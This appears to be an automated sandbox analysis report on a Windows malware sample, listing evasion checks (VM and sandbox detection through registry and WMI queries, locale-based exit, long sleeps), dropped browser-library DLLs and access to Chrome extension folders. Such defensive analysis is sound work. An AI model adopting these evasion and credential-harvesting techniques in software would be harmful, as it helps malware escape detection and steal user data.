Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_1-68894

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID="Disk #0, Partition #1"} where resultclass = Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = 'C:'
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID="C:"} where resultclass = Win32_DiskPartition
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent="Win32_LogicalDisk.DeviceID=\"C:\""

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Memory allocated: 28F23810000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Memory allocated: 28F3D1C0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Window / User API: threadDelayed 4002
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Window / User API: threadDelayed 5793

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-41090

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u5e0.2\UIxMarketPlugin.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u5e0.2\relay.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	API coverage: 9.7 %
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	API coverage: 8.0 %
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	API coverage: 8.9 %

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe TID: 6996	Thread sleep time: -21213755684765971s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe TID: 6976	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ProcessorId FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00412570
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040D1C0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_004015C0 LocalAlloc,FindFirstFileA,StrCmpCA,StrCmpCA,SetThreadLocale,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_004015C0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	1_2_00411650
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040B610
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040DB60
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00411B80
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040D540
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	1_2_004121F0

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Code function: 1_2_00401120 GetSystemInfo,ExitProcess,

1_2_00401120

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: Microsoft Hyper-V Server
Source: u5e0.3.exe, 00000004.00000003.2053447461.0000000000967000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllU
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: 6without Hyper-V for Windows Essential Server Solutions
